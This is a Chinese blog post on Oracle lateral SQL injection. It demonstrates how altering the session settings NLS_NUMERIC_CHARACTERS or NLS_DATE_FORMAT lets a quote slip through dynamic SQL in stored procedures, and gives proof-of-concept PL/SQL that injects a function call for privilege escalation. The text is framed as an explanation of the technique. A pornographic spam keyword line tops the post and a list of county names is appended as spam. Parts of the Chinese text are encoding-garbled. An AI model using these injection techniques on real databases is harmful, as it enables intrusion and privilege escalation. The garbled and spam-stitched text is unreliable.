最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

ORACLE LATERAL-SQL-INJECTION 個人見解

 更新時間:2008年05月07日 18:54:31   作者:  
最近忙啊忙啊的,今天終于有點點時間抽出來看看技術文章了,最近國外又出了關于新型ORA注入技術的PAPER,趕緊測試,主要是出現(xiàn)在SQL語句字符拼 接的時候,DATE類型轉(zhuǎn)換為VARCHAR 以及 NUMBER轉(zhuǎn)換為VARCHAR加入的格式字符出現(xiàn)問題。
如果直接執(zhí)行SQL語句或者參數(shù)綁定則不用擔心太多,
如以下ORACLE存儲過程
create or replace procedure kjdatepoc(date d)

as

begin

insert into kjdatetable values(d);

commit;

end;

根本不需要擔心遭受到SQL新型注入攻擊,那么在什么地方會發(fā)生DATE 以及 NUMBER的注入攻擊呢?。恳话愣际遣捎昧藙討B(tài)SQL而又不采用參數(shù)綁定的語句。

例如工程師經(jīng)常用的DBMS_SQL或者EXECUTE IMMEDIATE

看以下存儲過程

create or replace procedure kjdatepoc(date d)

as

begin

execute immediate ‘insert into kjdatetable values('|| d ||')';

commit;

end;

那么遇到以上的存儲過程或者函數(shù)等,也通過修改SESSION中的NLS_DATE_FORMAT中的值達到SQL注射的目的,

老外的PAPER講解得非常詳細了 ,我在這里也不廢話。

惟獨對于 NUMBER類型的注射沒有多作講解 只是簡單演示了可以輸出單引號!

看以下語句

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;

輸出一下結果

1000′10001

只是多了一個單引號,那有什么用呢?樂觀的來說!在特定情況下是很有價值的!看以下一個存儲過程

create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)

is

SecStr varchar2(1000);

begin

SecStr:=replace(kjexpstr,””,”””);

sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);

end;

內(nèi)部對varchar類型進行替換了!我們可以進行測試

begin

numinjpoc(1000,”'–');

end;

其輸出SQL語句為

SELECT * FROM DUAL WHERE ID=1000 and name=”'–'

單引號被轉(zhuǎn)義掉了

那么如果我們結合這個NUMBER類型怎么進行注射呢?

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

begin

numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');

end;

看看輸出結果

SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'

這樣就可以間接的攻擊它…

在某中程度才來需要ALTER SESSION 配合后,再去攻擊系統(tǒng)內(nèi)部的一些函數(shù)或者過程來提升權限。未嘗不是一種好的突破思路,但是對于單語句進行SQL注射攻擊,以結果為向?qū)У脑?!這樣的方式?jīng)]多大作為。

相關文章

最新評論

宿迁市| 白河县| 静海县| 阿克陶县| 湘潭县| 福安市| 岢岚县| 卓资县| 襄樊市| 宜良县| 简阳市| 武乡县| 申扎县| 额敏县| 惠东县| 青田县| 石渠县| 乌兰察布市| 云南省| 贡觉县| 六盘水市| 沁阳市| 南昌县| 泉州市| 山阴县| 昌江| 民乐县| 明溪县| 南木林县| 博客| 平泉县| 青州市| 蒙山县| 宽甸| 房产| 庆阳市| 德兴市| 山丹县| 巨野县| 来凤县| 桐乡市|